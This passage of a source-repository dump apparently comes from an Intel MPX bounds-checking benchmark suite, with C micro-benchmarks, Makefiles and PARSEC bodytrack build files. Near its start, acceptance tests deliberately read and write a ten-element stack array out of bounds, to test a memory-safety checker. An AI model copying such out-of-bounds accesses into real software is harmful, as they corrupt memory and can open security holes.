3 | #include 4 | 5 | __attribute__((noinline)) 6 | int dummy(int* p) { 7 | return *p; 8 | } 9 | 10 | int main(int argc, char **argv) { 11 | int a[10]; 12 | int x = dummy(a); 13 | x += a[11]; 14 | printf("%d\n", x); 15 | return 0; 16 | } 17 | -------------------------------------------------------------------------------- /src/micro/acceptance/stackarraywrite/Makefile: -------------------------------------------------------------------------------- 1 | NAME := stackarraywrite 2 | SRC := stackarraywrite 3 | 4 | include common.mk 5 | include $(ACTION_MAKEFILE) 6 | 7 | all: $(BUILD_PATH)/$(NAME) 8 | -------------------------------------------------------------------------------- /src/micro/acceptance/stackarraywrite/stackarraywrite.c: -------------------------------------------------------------------------------- 1 | /* stack array write out of bounds */ 2 | #include 3 | #include 4 | 5 | __attribute__((noinline)) 6 | int dummy(int* p) { 7 | return *p; 8 | } 9 | 10 | int main(int argc, char **argv) { 11 | int a[10]; 12 | int x = dummy(a); 13 | a[11] = x; 14 | printf("%d\n", a[11]); 15 | return 0; 16 | } 17 | -------------------------------------------------------------------------------- /src/micro/arrayread/Makefile: -------------------------------------------------------------------------------- 1 | NAME := arrayread 2 | SRC := arrayread 3 | 4 | include Makefile.$(BUILD_TYPE) 5 | 6 | all: $(BUILD_PATH)/$(NAME) 7 | -------------------------------------------------------------------------------- /src/micro/arrayread/arrayread.c: -------------------------------------------------------------------------------- 1 | /* array read */ 2 | #include 3 | #include 4 | 5 | // 1GB size 6 | #define SIZE 1024*1024*1024 7 | 8 | __attribute__((noinline)) 9 | int arrayread(char* arr) { 10 | int i = SIZE-1, r=0; 11 | for (; i >= 0; i-=2) { 12 | r += arr[i]; 13 | } 14 | return r; 15 | } 16 | 17 | int main(int argc, char **argv) { 18 | char* arr = (char*) malloc(SIZE); 19 | int r = arrayread(arr); 20 | printf("r = %d\n", r); 21 | return 0; 22 | } 23 | -------------------------------------------------------------------------------- /src/micro/arraywrite/Makefile: -------------------------------------------------------------------------------- 1 | NAME := arraywrite 2 | SRC := arraywrite 3 | 4 | # let's forbid GCC do some weird stuff 5 | CCFLAGS += -fno-tree-vectorize 6 | 7 | include Makefile.$(BUILD_TYPE) 8 | 9 | all: $(BUILD_PATH)/$(NAME) 10 | -------------------------------------------------------------------------------- /src/micro/arraywrite/arraywrite.c: -------------------------------------------------------------------------------- 1 | /* compile with `-fno-tree-vectorize` to forbid GCC do some weird stuff */ 2 | 3 | /* array write */ 4 | #include 5 | #include 6 | 7 | // 1GB size 8 | #define SIZE 1024*1024*1024 9 | 10 | __attribute__((noinline)) 11 | void arraywrite(char* arr) { 12 | int i = SIZE-1, r=0; 13 | for (; i >= 0; i-=3) { 14 | arr[i] = (char) i; 15 | } 16 | } 17 | 18 | int main(int argc, char **argv) { 19 | char* arr = (char*) malloc(SIZE); 20 | arraywrite(arr); 21 | printf("r = %d\n", arr[0]); 22 | return 0; 23 | } 24 | -------------------------------------------------------------------------------- /src/micro/funccalls/Makefile: -------------------------------------------------------------------------------- 1 | NAME := funccalls 2 | SRC := funccalls 3 | 4 | include Makefile.$(BUILD_TYPE) 5 | 6 | all: $(BUILD_PATH)/$(NAME) 7 | -------------------------------------------------------------------------------- /src/micro/funccalls/funccalls.c: -------------------------------------------------------------------------------- 1 | /* stress metadata propagation on func calls */ 2 | #include 3 | #include 4 | 5 | // 1GB size 6 | #define SIZE 1024*1024*1024 7 | 8 | __attribute__((noinline)) 9 | void dummywrite(char* arr, int i) { 10 | arr[i] = (char) i; 11 | } 12 | 13 | __attribute__((noinline)) 14 | void arraywrite(char* arr) { 15 | int i = SIZE-1, r=0; 16 | for (; i >= 0; i--) { 17 | dummywrite(arr, i); 18 | } 19 | } 20 | 21 | int main(int argc, char **argv) { 22 | char* arr = (char*) malloc(SIZE); 23 | arraywrite(arr); 24 | printf("r = %d\n", arr[0]); 25 | return 0; 26 | } 27 | -------------------------------------------------------------------------------- /src/micro/mallocs/Makefile: -------------------------------------------------------------------------------- 1 | NAME := mallocs 2 | SRC := mallocs 3 | 4 | include Makefile.$(BUILD_TYPE) 5 | 6 | all: $(BUILD_PATH)/$(NAME) 7 | -------------------------------------------------------------------------------- /src/micro/mallocs/mallocs.c: -------------------------------------------------------------------------------- 1 | /* 2 | * call many mallocs/frees 3 | * (stress malloc/free changes for bounds creation in standard lib) 4 | */ 5 | #include 6 | #include 7 | 8 | // 32MB of pointers 9 | #define SIZE 32*1024*1024 10 | 11 | __attribute__((noinline)) 12 | void dynaloc(char** ptrs) { 13 | int i; 14 | for (i = SIZE-1; i >= 0; i--) { 15 | ptrs[i] = (char*) malloc(8); 16 | } 17 | for (i = SIZE-1; i >= 0; i--) { 18 | free(ptrs[i]); 19 | } 20 | } 21 | 22 | int main(int argc, char **argv) { 23 | char** ptrs = (char**) malloc(SIZE*sizeof(char*)); 24 | dynaloc(ptrs); 25 | printf("ptrs = %p\n", ptrs); 26 | return 0; 27 | } 28 | -------------------------------------------------------------------------------- /src/micro/multithreading_fn/Makefile: -------------------------------------------------------------------------------- 1 | NAME := multithreading_fn 2 | SRC := multithreading_fn 3 | 4 | LIBS += -pthread 5 | 6 | include Makefile.$(BUILD_TYPE) 7 | 8 | # less optimizations for simplicity 9 | CCFLAGS := $(filter-out -O3,$(CCFLAGS)) 10 | CCFLAGS := $(filter-out -O2,$(CCFLAGS)) 11 | CCFLAGS += -O1 12 | 13 | all: $(BUILD_PATH)/$(NAME) 14 | -------------------------------------------------------------------------------- /src/micro/multithreading_fp/Makefile: -------------------------------------------------------------------------------- 1 | NAME := multithreading_fp 2 | SRC := multithreading_fp 3 | 4 | LIBS += -pthread 5 | 6 | include Makefile.$(BUILD_TYPE) 7 | 8 | # less optimizations for simplicity 9 | CCFLAGS := $(filter-out -O3,$(CCFLAGS)) 10 | CCFLAGS := $(filter-out -O2,$(CCFLAGS)) 11 | CCFLAGS += -O1 12 | 13 | all: $(BUILD_PATH)/$(NAME) 14 | -------------------------------------------------------------------------------- /src/micro/perf/arrayread/Makefile: -------------------------------------------------------------------------------- 1 | NAME := arrayread 2 | SRC := arrayread 3 | 4 | include common.mk 5 | include $(ACTION_MAKEFILE) 6 | 7 | all: $(BUILD_PATH)/$(NAME) 8 | -------------------------------------------------------------------------------- /src/micro/perf/arrayread/arrayread.c: -------------------------------------------------------------------------------- 1 | /* array read */ 2 | #include 3 | #include 4 | 5 | // 1GB size 6 | #define SIZE 1024*1024*1024 7 | 8 | __attribute__((noinline)) 9 | int arrayread(char* arr) { 10 | int i = SIZE-1, r=0; 11 | for (; i >= 0; i-=2) { 12 | r += arr[i]; 13 | } 14 | return r; 15 | } 16 | 17 | int main(int argc, char **argv) { 18 | char* arr = (char*) malloc(SIZE); 19 | int r = arrayread(arr); 20 | printf("r = %d\n", r); 21 | return 0; 22 | } 23 | -------------------------------------------------------------------------------- /src/micro/perf/arraywrite/Makefile: -------------------------------------------------------------------------------- 1 | NAME := arraywrite 2 | SRC := arraywrite 3 | 4 | # let's forbid GCC do some weird stuff 5 | CCOMFLAGS += -fno-tree-vectorize 6 | 7 | include common.mk 8 | include $(ACTION_MAKEFILE) 9 | 10 | all: $(BUILD_PATH)/$(NAME) 11 | -------------------------------------------------------------------------------- /src/micro/perf/arraywrite/arraywrite.c: -------------------------------------------------------------------------------- 1 | /* compile with `-fno-tree-vectorize` to forbid GCC do some weird stuff */ 2 | 3 | /* array write */ 4 | #include 5 | #include 6 | 7 | // 1GB size 8 | #define SIZE 1024*1024*1024 9 | 10 | __attribute__((noinline)) 11 | void arraywrite(char* arr) { 12 | int i = SIZE-1, r=0; 13 | for (; i >= 0; i-=3) { 14 | arr[i] = (char) i; 15 | } 16 | } 17 | 18 | int main(int argc, char **argv) { 19 | char* arr = (char*) malloc(SIZE); 20 | arraywrite(arr); 21 | printf("r = %d\n", arr[0]); 22 | return 0; 23 | } 24 | -------------------------------------------------------------------------------- /src/micro/perf/funccalls/Makefile: -------------------------------------------------------------------------------- 1 | NAME := funccalls 2 | SRC := funccalls 3 | 4 | include common.mk 5 | include $(ACTION_MAKEFILE) 6 | 7 | all: $(BUILD_PATH)/$(NAME) 8 | -------------------------------------------------------------------------------- /src/micro/perf/funccalls/funccalls.c: -------------------------------------------------------------------------------- 1 | /* stress metadata propagation on func calls */ 2 | #include 3 | #include 4 | 5 | // 1GB size 6 | #define SIZE 1024*1024*1024 7 | 8 | __attribute__((noinline)) 9 | void dummywrite(char* arr, int i) { 10 | arr[i] = (char) i; 11 | } 12 | 13 | __attribute__((noinline)) 14 | void arraywrite(char* arr) { 15 | int i = SIZE-1, r=0; 16 | for (; i >= 0; i--) { 17 | dummywrite(arr, i); 18 | } 19 | } 20 | 21 | int main(int argc, char **argv) { 22 | char* arr = (char*) malloc(SIZE); 23 | arraywrite(arr); 24 | printf("r = %d\n", arr[0]); 25 | return 0; 26 | } 27 | -------------------------------------------------------------------------------- /src/micro/perf/mallocs/Makefile: -------------------------------------------------------------------------------- 1 | NAME := mallocs 2 | SRC := mallocs 3 | 4 | include common.mk 5 | include $(ACTION_MAKEFILE) 6 | 7 | all: $(BUILD_PATH)/$(NAME) 8 | -------------------------------------------------------------------------------- /src/micro/perf/mallocs/mallocs.c: -------------------------------------------------------------------------------- 1 | /* 2 | * call many mallocs/frees 3 | * (stress malloc/free changes for bounds creation in standard lib) 4 | */ 5 | #include 6 | #include 7 | 8 | // 32MB of pointers 9 | #define SIZE 32*1024*1024 10 | 11 | __attribute__((noinline)) 12 | void dynaloc(char** ptrs) { 13 | int i; 14 | for (i = SIZE-1; i >= 0; i--) { 15 | ptrs[i] = (char*) malloc(8); 16 | } 17 | for (i = SIZE-1; i >= 0; i--) { 18 | free(ptrs[i]); 19 | } 20 | } 21 | 22 | int main(int argc, char **argv) { 23 | char** ptrs = (char**) malloc(SIZE*sizeof(char*)); 24 | dynaloc(ptrs); 25 | printf("ptrs = %p\n", ptrs); 26 | return 0; 27 | } 28 | -------------------------------------------------------------------------------- /src/micro/perf/multithreading_fn/Makefile: -------------------------------------------------------------------------------- 1 | NAME := multithreading_fn 2 | SRC := multithreading_fn 3 | 4 | LIBS += -pthread 5 | 6 | include common.mk 7 | include $(ACTION_MAKEFILE) 8 | 9 | # less optimizations for simplicity 10 | CCOMFLAGS := $(filter-out -O3,$(CCOMFLAGS)) 11 | CCOMFLAGS := $(filter-out -O2,$(CCOMFLAGS)) 12 | CCOMFLAGS += -O1 13 | 14 | all: $(BUILD_PATH)/$(NAME) 15 | -------------------------------------------------------------------------------- /src/micro/perf/multithreading_fp/Makefile: -------------------------------------------------------------------------------- 1 | NAME := multithreading_fp 2 | SRC := multithreading_fp 3 | 4 | LIBS += -pthread 5 | 6 | include common.mk 7 | include $(ACTION_MAKEFILE) 8 | 9 | # less optimizations for simplicity 10 | CCOMFLAGS := $(filter-out -O3,$(CCOMFLAGS)) 11 | CCOMFLAGS := $(filter-out -O2,$(CCOMFLAGS)) 12 | CCOMFLAGS += -O1 13 | 14 | all: $(BUILD_PATH)/$(NAME) 15 | -------------------------------------------------------------------------------- /src/micro/perf/ptrcreation/Makefile: -------------------------------------------------------------------------------- 1 | NAME := ptrcreation 2 | SRC := ptrcreation 3 | 4 | include common.mk 5 | include $(ACTION_MAKEFILE) 6 | 7 | all: $(BUILD_PATH)/$(NAME) 8 | -------------------------------------------------------------------------------- /src/micro/perf/ptrcreation/ptrcreation.c: -------------------------------------------------------------------------------- 1 | /* 2 | * assign bounds of the same array to many pointers 3 | * (stress bounds propagation during pointer assignment -- bndstx) 4 | */ 5 | #include 6 | #include 7 | 8 | // 128MB of pointers = 1GB in size 9 | #define SIZE 128*1024*1024 10 | 11 | __attribute__((noinline)) 12 | void ptrcreation(char** ptrs, char* arr1, char* arr2, char* arr3, char* arr4, char* arr5) { 13 | int i = SIZE-20, r=0; 14 | for (; i >= 0; i--) { 15 | ptrs[i] = &arr1[i % 64]; 16 | ptrs[i+2] = &arr2[i % 64]; 17 | ptrs[i+3] = &arr3[i % 64]; 18 | ptrs[i+4] = &arr4[i % 64]; 19 | ptrs[i+5] = &arr5[i % 64]; 20 | } 21 | } 22 | 23 | int main(int argc, char **argv) { 24 | char* arr1 = (char*) malloc(100); 25 | char* arr2 = (char*) malloc(110); 26 | char* arr3 = (char*) malloc(120); 27 | char* arr4 = (char*) malloc(130); 28 | char* arr5 = (char*) malloc(140); 29 | char** ptrs = (char**) malloc(SIZE*sizeof(char*)); 30 | ptrcreation(ptrs, arr1, arr2, arr3, arr4, arr5); 31 | printf("r = %hd\n", ptrs[0]); 32 | return 0; 33 | } 34 | -------------------------------------------------------------------------------- /src/micro/perf/struct/Makefile: -------------------------------------------------------------------------------- 1 | NAME := struct 2 | SRC := struct 3 | 4 | include common.mk 5 | include $(ACTION_MAKEFILE) 6 | 7 | CCOMFLAGS := $(filter-out -O3,$(CCOMFLAGS)) 8 | CCOMFLAGS += -O2 9 | 10 | all: $(BUILD_PATH)/$(NAME) 11 | -------------------------------------------------------------------------------- /src/micro/perf/struct/struct.c: -------------------------------------------------------------------------------- 1 | /* stress narrowing of bounds */ 2 | #include 3 | #include 4 | 5 | // 128MB size 6 | #define SIZE 128*1024*1024 7 | 8 | typedef struct __attribute__((__packed__)) { 9 | int x; 10 | int a[2]; 11 | int y; 12 | } s_t; 13 | 14 | __attribute__((noinline)) 15 | void arraywrite(s_t* arr, int idx) { 16 | int i = SIZE-1, r=0; 17 | for (; i >= 0; i--) { 18 | int* innerarr = arr[i].a; 19 | innerarr[idx] = i; 20 | } 21 | } 22 | 23 | int main(int argc, char **argv) { 24 | s_t* arr = (s_t*) malloc(SIZE * sizeof(s_t)); 25 | arraywrite(arr, 0); 26 | printf("r = %x\n", arr); 27 | return 0; 28 | } 29 | -------------------------------------------------------------------------------- /src/micro/perf/table_allocation/Makefile: -------------------------------------------------------------------------------- 1 | NAME := table_allocation 2 | SRC := table_allocation 3 | 4 | include common.mk 5 | include $(ACTION_MAKEFILE) 6 | 7 | CCOMFLAGS := $(filter-out -O3,$(CCOMFLAGS)) 8 | CCOMFLAGS += -O0 # we measure OS influence and therefore, the optimization level should be minimized 9 | 10 | # uncomment to enable freeing memory 11 | # CCOMFLAGS += -DFREE=1 12 | 13 | 14 | all: $(BUILD_PATH)/$(NAME) 15 | -------------------------------------------------------------------------------- /src/micro/perf/table_allocation/table_allocation.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #define NUM_TABLES 30000 5 | #define ALIGN_TO_NEW_BT 1048576 6 | 7 | void main() { 8 | // create a random variable to have something to point into 9 | int a_variable = 5; 10 | 11 | // create tables 12 | int **pointer_addresses[NUM_TABLES]; 13 | int i, err; 14 | for(i = 0; i < NUM_TABLES; i++) { 15 | /* 16 | * Allocate memory chunks aligned to 4 MB 17 | * so that each chunk will have a separate BT 18 | */ 19 | err = posix_memalign((void **) &pointer_addresses[i], ALIGN_TO_NEW_BT, 1); 20 | 21 | /* 22 | * Store a pointer in the allocated memory 23 | */ 24 | *pointer_addresses[i] = &a_variable; 25 | } 26 | 27 | #ifdef FREE 28 | /* 29 | * Free memory - the corresponding BTs will be freed automatically 30 | */ 31 | for(i = 0; i < NUM_TABLES; i++) { 32 | free(pointer_addresses[i]); 33 | } 34 | #endif 35 | } 36 | -------------------------------------------------------------------------------- /src/micro/ptrcreation/Makefile: -------------------------------------------------------------------------------- 1 | NAME := ptrcreation 2 | SRC := ptrcreation 3 | 4 | include Makefile.$(BUILD_TYPE) 5 | 6 | all: $(BUILD_PATH)/$(NAME) 7 | -------------------------------------------------------------------------------- /src/micro/ptrcreation/ptrcreation.c: -------------------------------------------------------------------------------- 1 | /* 2 | * assign bounds of the same array to many pointers 3 | * (stress bounds propagation during pointer assignment -- bndstx) 4 | */ 5 | #include 6 | #include 7 | 8 | // 128MB of pointers = 1GB in size 9 | #define SIZE 128*1024*1024 10 | 11 | __attribute__((noinline)) 12 | void ptrcreation(char** ptrs, char* arr1, char* arr2, char* arr3, char* arr4, char* arr5) { 13 | int i = SIZE-20, r=0; 14 | for (; i >= 0; i--) { 15 | ptrs[i] = &arr1[i % 64]; 16 | ptrs[i+2] = &arr2[i % 64]; 17 | ptrs[i+3] = &arr3[i % 64]; 18 | ptrs[i+4] = &arr4[i % 64]; 19 | ptrs[i+5] = &arr5[i % 64]; 20 | } 21 | } 22 | 23 | int main(int argc, char **argv) { 24 | char* arr1 = (char*) malloc(100); 25 | char* arr2 = (char*) malloc(110); 26 | char* arr3 = (char*) malloc(120); 27 | char* arr4 = (char*) malloc(130); 28 | char* arr5 = (char*) malloc(140); 29 | char** ptrs = (char**) malloc(SIZE*sizeof(char*)); 30 | ptrcreation(ptrs, arr1, arr2, arr3, arr4, arr5); 31 | printf("r = %hd\n", ptrs[0]); 32 | return 0; 33 | } 34 | -------------------------------------------------------------------------------- /src/micro/struct/Makefile: -------------------------------------------------------------------------------- 1 | NAME := struct 2 | SRC := struct 3 | 4 | include Makefile.$(BUILD_TYPE) 5 | 6 | CCFLAGS := $(filter-out -O3,$(CCFLAGS)) 7 | CCFLAGS += -O2 8 | 9 | all: $(BUILD_PATH)/$(NAME) 10 | -------------------------------------------------------------------------------- /src/micro/struct/struct.c: -------------------------------------------------------------------------------- 1 | /* stress narrowing of bounds */ 2 | #include 3 | #include 4 | 5 | // 128MB size 6 | #define SIZE 128*1024*1024 7 | 8 | typedef struct __attribute__((__packed__)) { 9 | int x; 10 | int a[2]; 11 | int y; 12 | } s_t; 13 | 14 | __attribute__((noinline)) 15 | void arraywrite(s_t* arr, int idx) { 16 | int i = SIZE-1, r=0; 17 | for (; i >= 0; i--) { 18 | int* innerarr = arr[i].a; 19 | innerarr[idx] = i; 20 | } 21 | } 22 | 23 | int main(int argc, char **argv) { 24 | s_t* arr = (s_t*) malloc(SIZE * sizeof(s_t)); 25 | arraywrite(arr, 0); 26 | printf("r = %x\n", arr); 27 | return 0; 28 | } 29 | -------------------------------------------------------------------------------- /src/micro/table_allocation/Makefile: -------------------------------------------------------------------------------- 1 | NAME := table_allocation 2 | SRC := table_allocation 3 | 4 | include Makefile.$(BUILD_TYPE) 5 | 6 | CCFLAGS := $(filter-out -O3,$(CCFLAGS)) 7 | CCFLAGS += -O0 # we measure OS influence and therefore, the optimization level should be minimized 8 | 9 | # uncomment to enable freeing memory 10 | # CCFLAGS += -DFREE=1 11 | 12 | 13 | all: $(BUILD_PATH)/$(NAME) 14 | -------------------------------------------------------------------------------- /src/micro/table_allocation/table_allocation.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #define NUM_TABLES 30000 5 | #define ALIGN_TO_NEW_BT 1048576 6 | 7 | void main() { 8 | // create a random variable to have something to point into 9 | int a_variable = 5; 10 | 11 | // create tables 12 | int **pointer_addresses[NUM_TABLES]; 13 | int i, err; 14 | for(i = 0; i < NUM_TABLES; i++) { 15 | /* 16 | * Allocate memory chunks aligned to 4 MB 17 | * so that each chunk will have a separate BT 18 | */ 19 | err = posix_memalign((void **) &pointer_addresses[i], ALIGN_TO_NEW_BT, 1); 20 | 21 | /* 22 | * Store a pointer in the allocated memory 23 | */ 24 | *pointer_addresses[i] = &a_variable; 25 | } 26 | 27 | #ifdef FREE 28 | /* 29 | * Free memory - the corresponding BTs will be freed automatically 30 | */ 31 | for(i = 0; i < NUM_TABLES; i++) { 32 | free(pointer_addresses[i]); 33 | } 34 | #endif 35 | } 36 | -------------------------------------------------------------------------------- /src/parsec/blackscholes/Makefile: -------------------------------------------------------------------------------- 1 | NAME := blackscholes 2 | SRC := blackscholes 3 | 4 | VPATH := src 5 | 6 | CCFLAGS += -DNCO=2 -DN=960 7 | 8 | include Makefile.$(BUILD_TYPE) 9 | include ../parsec_common.mk 10 | 11 | all: $(BUILD_PATH)/$(NAME) 12 | -------------------------------------------------------------------------------- /src/parsec/bodytrack/Makefile: -------------------------------------------------------------------------------- 1 | NAME := bodytrack 2 | SRC := AnnealingFactor BodyGeometry BodyPose CameraModel CovarianceMatrix ImageMeasurements ImageProjection \ 3 | RandomGenerator TrackingModel main 4 | 5 | SUB_DIRS := FlexImageLib 6 | 7 | 8 | ifneq ($(strip $(NUM_THREADS)),1) 9 | SRC += AsyncIO TrackingModelPthread 10 | SUB_DIRS += threads 11 | CCFLAGS += -DHAVE_LIBPTHREAD 12 | endif 13 | 14 | SRC += $(SUB_DIRS) 15 | 16 | VPATH := src 17 | INC_DIR += $(PROJ_ROOT)/src/parsec/bodytrack/src/FlexImageLib $(PROJ_ROOT)/src/parsec/bodytrack/src 18 | CCFLAGS += -DHAVE_CONFIG_H -std=c++98 19 | CXXFLAGS += -fexceptions 20 | 21 | include Makefile.$(BUILD_TYPE) 22 | include ../parsec_common.mk 23 | 24 | export # make sure that makefiles in the subdirectories have the same environment 25 | 26 | # enforce build order 27 | all: 28 | @${MAKE} prebuild 29 | @${MAKE} $(BUILD_PATH)/$(NAME) 30 | 31 | .PHONY: prebuild 32 | prebuild: 33 | $(foreach dir,$(SUB_DIRS),$(MAKE) -C src/$(dir) &&) printf "" 34 | -------------------------------------------------------------------------------- /src/parsec/bodytrack/src/AnnealingFactor.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tudinfse/intel_mpx_explained/9a3d7b060742d8fe89c1b56898f2b2e3617b670b/src/parsec/bodytrack/src/AnnealingFactor.cpp -------------------------------------------------------------------------------- /src/parsec/bodytrack/src/AnnealingFactor.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tudinfse/intel_mpx_explained/9a3d7b060742d8fe89c1b56898f2b2e3617b670b/src/parsec/bodytrack/src/AnnealingFactor.h -------------------------------------------------------------------------------- /src/parsec/bodytrack/src/BodyGeometry.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tudinfse/intel_mpx_explained/9a3d7b060742d8fe89c1b56898f2b2e3617b670b/src/parsec/bodytrack/src/BodyGeometry.cpp -------------------------------------------------------------------------------- /src/parsec/bodytrack/src/BodyGeometry.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tudinfse/intel_mpx_explained/9a3d7b060742d8fe89c1b56898f2b2e3617b670b/src/parsec/bodytrack/src/BodyGeometry.h -------------------------------------------------------------------------------- /src/parsec/bodytrack/src/BodyPose.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tudinfse/intel_mpx_explained/9a3d7b060742d8fe89c1b56898f2b2e3617b670b/src/parsec/bodytrack/src/BodyPose.cpp -------------------------------------------------------------------------------- /src/parsec/bodytrack/src/BodyPose.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tudinfse/intel_mpx_explained/9a3d7b060742d8fe89c1b56898f2b2e3617b670b/src/parsec/bodytrack/src/BodyPose.h -------------------------------------------------------------------------------- /src/parsec/bodytrack/src/CameraModel.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tudinfse/intel_mpx_explained/9a3d7b060742d8fe89c1b56898f2b2e3617b670b/src/parsec/bodytrack/src/CameraModel.cpp -------------------------------------------------------------------------------- /src/parsec/bodytrack/src/CameraModel.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tudinfse/intel_mpx_explained/9a3d7b060742d8fe89c1b56898f2b2e3617b670b/src/parsec/bodytrack/src/CameraModel.h -------------------------------------------------------------------------------- /src/parsec/bodytrack/src/CovarianceMatrix.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tudinfse/intel_mpx_explained/9a3d7b060742d8fe89c1b56898f2b2e3617b670b/src/parsec/bodytrack/src/CovarianceMatrix.cpp -------------------------------------------------------------------------------- /src/parsec/bodytrack/src/CovarianceMatrix.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tudinfse/intel_mpx_explained/9a3d7b060742d8fe89c1b56898f2b2e3617b670b/src/parsec/bodytrack/src/CovarianceMatrix.h -------------------------------------------------------------------------------- /src/parsec/bodytrack/src/DMatrix.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tudinfse/intel_mpx_explained/9a3d7b060742d8fe89c1b56898f2b2e3617b670b/src/parsec/bodytrack/src/DMatrix.h -------------------------------------------------------------------------------- /src/parsec/bodytrack/src/FlexImageLib/FlexLib.h: -------------------------------------------------------------------------------- 1 | //----------------------------------------------------------------------------- 2 | // ____ _ 3 | // | ___| | ___ _ _ 4 | // | ___| | / __)\ \/ / 5 | // | | | |_| ___) | | 6 | // |_| \___|\___)/_/\_\ Image Library 7 | // 8 | // 2006, Intel Corporation, licensed under Apache 2.0 9 | // 10 | // file : FlexImageLib.h 11 | // author : Scott Ettinger - scott.m.ettinger@intel.com 12 | // description: FlexImage library include file. 13 | // 14 | // modified : 15 | //----------------------------------------------------------------------------- 16 | 17 | #ifndef FLEXIMAGELIB_H 18 | #define FLEXIMAGELIB_H 19 | 20 | #if defined(HAVE_CONFIG_H) 21 | # include "config.h" 22 | #endif 23 | 24 | //Headers for Flex image library 25 | 26 | #include "FlexImage.h" 27 | #include "FlexIO.h" 28 | #include "FlexOperators.h" 29 | #include "FlexFilter.h" 30 | #include "FlexThreshold.h" 31 | #include "FlexDraw.h" 32 | #include "FlexTransform.h" 33 | 34 | #endif 35 | 36 | -------------------------------------------------------------------------------- /src/parsec/bodytrack/src/FlexImageLib/Makefile: -------------------------------------------------------------------------------- 1 | NAME := FlexImageLib 2 | SRC := FlexImage FlexIO 3 | 4 | CXXFLAGS += -I$(PROJ_ROOT)/src/parsec/bodytrack/src/ 5 | 6 | include ../subdirs_common.mk 7 | -------------------------------------------------------------------------------- /src/parsec/bodytrack/src/ImageMeasurements.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tudinfse/intel_mpx_explained/9a3d7b060742d8fe89c1b56898f2b2e3617b670b/src/parsec/bodytrack/src/ImageMeasurements.cpp -------------------------------------------------------------------------------- /src/parsec/bodytrack/src/ImageMeasurements.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tudinfse/intel_mpx_explained/9a3d7b060742d8fe89c1b56898f2b2e3617b670b/src/parsec/bodytrack/src/ImageMeasurements.h -------------------------------------------------------------------------------- /src/parsec/bodytrack/src/ImageProjection.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tudinfse/intel_mpx_explained/9a3d7b060742d8fe89c1b56898f2b2e3617b670b/src/parsec/bodytrack/src/ImageProjection.cpp -------------------------------------------------------------------------------- /src/parsec/bodytrack/src/ImageProjection.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tudinfse/intel_mpx_explained/9a3d7b060742d8fe89c1b56898f2b2e3617b670b/src/parsec/bodytrack/src/ImageProjection.h -------------------------------------------------------------------------------- /src/parsec/bodytrack/src/ParticleFilter.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tudinfse/intel_mpx_explained/9a3d7b060742d8fe89c1b56898f2b2e3617b670b/src/parsec/bodytrack/src/ParticleFilter.h -------------------------------------------------------------------------------- /src/parsec/bodytrack/src/RandomGenerator.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tudinfse/intel_mpx_explained/9a3d7b060742d8fe89c1b56898f2b2e3617b670b/src/parsec/bodytrack/src/RandomGenerator.cpp -------------------------------------------------------------------------------- /src/parsec/bodytrack/src/RandomGenerator.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tudinfse/intel_mpx_explained/9a3d7b060742d8fe89c1b56898f2b2e3617b670b/src/parsec/bodytrack/src/RandomGenerator.h -------------------------------------------------------------------------------- /src/parsec/bodytrack/src/TBBtypes.h: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------- 2 | // ____ _ _ 3 | // / ___|____ _ _ ____ ____| |__ | | 4 | // | | / ___| | | | _ \/ ___| _ \| | 5 | // | |___| | | |_| | | | | |___| | | ||_| 6 | // \____|_| \_____|_| |_|\____|_| |_|(_) Media benchmarks 7 | // 8 | // 2006, Intel Corporation, licensed under Apache 2.0 9 | // 10 | // file : TBBTypes.h 11 | // author : Scott Ettinger 12 | // description : types for TBB pipelining 13 | // 14 | // modified : 15 | //-------------------------------------------------------------- 16 | 17 | #ifndef TBBTYPES_H 18 | #define TBBTYPES_H 19 | 20 | #if defined(HAVE_CONFIG_H) 21 | # include "config.h" 22 | #endif 23 | 24 | #include "ImageMeasurements.h" 25 | 26 | //typedefs for convenient movement of image sets 27 | typedef std::vector ImageSet; 28 | typedef std::vector BinaryImageSet; 29 | 30 | //structure containing edge maps and foreground maps to be sent between pipeline stages 31 | struct ImageSetToken { 32 | 33 | ImageSet edgeMaps; 34 | BinaryImageSet FGmaps; 35 | 36 | }; 37 | 38 | 39 | #endif 40 | 41 | -------------------------------------------------------------------------------- /src/parsec/bodytrack/src/Vector3.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tudinfse/intel_mpx_explained/9a3d7b060742d8fe89c1b56898f2b2e3617b670b/src/parsec/bodytrack/src/Vector3.h -------------------------------------------------------------------------------- /src/parsec/bodytrack/src/subdirs_common.mk: -------------------------------------------------------------------------------- 1 | BUILD_PATH = $(BUILD_ROOT)/$(BENCH_SUITE)/bodytrack/$(BUILD_TYPE)/$(NAME) 2 | include Makefile.$(BUILD_TYPE) 3 | include $(PROJ_ROOT)/src/parsec/parsec_common.mk 4 | 5 | all: $(BUILD_PATH)/../$(NAME).$(OBJ_EXT) 6 | 7 | $(BUILD_PATH)/../$(NAME).$(OBJ_EXT): $(LLS) 8 | $(LD) $(LDRELOC) $^ -o $@ 9 | 10 | -------------------------------------------------------------------------------- /src/parsec/bodytrack/src/system.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Functions and macros required for system compatibility 3 | * 4 | * Copyright 2007, Christian Bienia, licensed under Apache 2.0 5 | * 6 | * file : system.h 7 | * author : Christian Bienia - cbienia@cs.princeton.edu 8 | * description : Compatibility functions 9 | * 10 | */ 11 | 12 | #ifndef COMPAT_H 13 